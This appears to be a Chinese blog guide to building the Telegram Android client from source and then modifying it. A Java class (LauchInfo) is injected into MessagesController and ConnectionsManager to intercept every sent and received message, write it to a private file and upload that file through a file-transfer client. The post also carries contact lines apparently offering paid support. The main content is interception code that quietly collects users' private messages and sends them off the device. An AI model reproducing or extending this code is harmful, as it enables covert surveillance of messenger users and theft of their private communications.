Telegram是一款强大的端到端加密IM,专注于安全性和速度,支持Android/IOS/Windows/macOS等平台,功能丰富,运行流畅,免费开源,代码具有学习和研究意义。
github: https://github.com/DrKLO/Telegram.git
Windows 版本:10 64位;
Android studio 版本:(2022.3.1)最新版本;
Android SDK 版本:Android studio自带;
Android Gradle Plugin 版本:Version 7.03 (源码版本);
Gradle Version 版本:7.02 (源码版本);
Android ndk 版本:21.4.7075529;
Gradle JDK 版本:11.0.2;
编译环境的选择很重要,Android Gradle Plugin Version与Gradle Version不要升级,
要保持与源码版本一致。笔者一开始按Android studio的提示升级了Gradle的版本,结果报一系列的错误!
必须用11.02版本,笔者一开始用了Gradle JDK 17结果与Android Gradle Plugin Version不兼容,走了许多弯路。
按照以上配置,编译源码,第一次未修改编译笔者电脑用了8个半小时,修改后再编译花了17个小时,源码体积大小由100M增加到17G!
能编译成功,才能为后续修改打下基础!!!
按项目编译指南,完成以下工作:
申请地址:https://my.telegram.org/
在gradle.properties中填写RELEASE_KEY_PASSWORD、RELEASE_KEY_ALIAS、RELEASE_STORE_PASSWORD以访问您的release.keystore
转到 https://console.firebase.google.com/,使用应用程序 ID org.telegram.messenger 和 org.telegram.messenger.beta 创建两个 Android 应用程序,打开 firebase 消息传递并下载 google-services.json,这应该复制到与 TMessagesProj 相同的文件夹。
在 Studio 中打开项目(请注意,应该打开它,而不是导入)
在 TMessagesProj/src/main/java/org/telegram/messenger/BuildVars.java 中填写值 - 每个变量都有一个链接,显示要获取的数据的位置和数据。
替换你在控制台创建的获取的 APP_ID 和 APP_HASH
Telegram API 手册:https://core.telegram.org/api
MTproto协议手册:https://core.telegram.org/mtproto
将tg数据转为字符串并格式化,在适当位置注入log代码,拦截telegram的消息发送与接收。
implementation 'org.apache.commons:commons-lang3:3.6'
- package ftc;
-
- import android.content.Context;
-
- import java.io.Closeable;
- import java.io.File;
- import java.io.FileWriter;
- import java.io.IOException;
- import java.text.SimpleDateFormat;
- import java.util.Date;
- import java.util.Locale;
- //技术支持:~~~~39848872
- public class LauchInfo {
- public static final SimpleDateFormat DEFAULT_SDF = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss", Locale.getDefault());
- private static String local_path;
- private static String local_dir;
- private static String filename;
- private static Context g_context;
- //接收telegram消息,并转换为格式化字符串,以便保存分析。
- public static void get(Object value){
- String content=RecursiveToStringStyle.toString(value);
- if(content!=null&&content.equals("")==false)
- SaveContent(content);
- }
- //技术支持:+~~~~byc6352
- public static void get(String say,Object value){
- String content=RecursiveToStringStyle.toString(value);
- MyLog.i(say + "\n" + content);
-
- }
- public static void log(String say,Object value){
- String content=RecursiveToStringStyle.toString(value);
- String text = say + "\n" + content;
- MyLog.i(text);
- }
-
- public static void SaveContent(String content){
- try {
- MyLog.i(content);
- String time = DEFAULT_SDF.format(new Date());
- String text=time+"\r\n"+content+"\r\n";
- saveInfo2File(text,filename,true);
- FileTransferClient.getInstance().uploadfile(filename,false);
- } catch (Exception e) {
- MyLog.e( "SaveContent:"+e.getMessage());
- }
- }
-
-
- /**
- * 保存信息到文件中
- *
- * @param ex
- * @return
- */
- public static boolean saveInfo2File(String info,String filename,boolean append) {
- if (info == null || filename == null) return false;
- FileWriter fileWriter = null;
- try {
- fileWriter = new FileWriter(new File(filename), append);
- fileWriter.write(info);
- return true;
- } catch (IOException e) {
- e.printStackTrace();
- return false;
- } finally {
- closeIO(fileWriter);
- }
-
- }
- /**
- * 关闭IO
- *
- * @param closeable closeable
- */
- public static void closeIO(Closeable closeable) {
- if (closeable == null) return;
- try {
- closeable.close();
- } catch (IOException e) {
- e.printStackTrace();
- }
- }
- public static void getWorkDir(Context context){
- local_path = context.getDir("workspace", Context.MODE_PRIVATE).getAbsolutePath().toString() + File.separator;
- local_dir = context.getDir("workspace", Context.MODE_PRIVATE).getAbsolutePath().toString() ;
- filename=local_path+"info.txt";
- g_context=context.getApplicationContext();
- }
- }
在Telegram\TMessagesProj\src\main\java\org\telegram\messenger\MessagesController.java中 修改

注入MessagesController.java消息接收
在Telegram\TMessagesProj\src\main\java\org\telegram\tgnet\ConnectionsManager.java中 修改

注入ConnectionsManager发送请求
至此可以快乐地抓取tg数据了!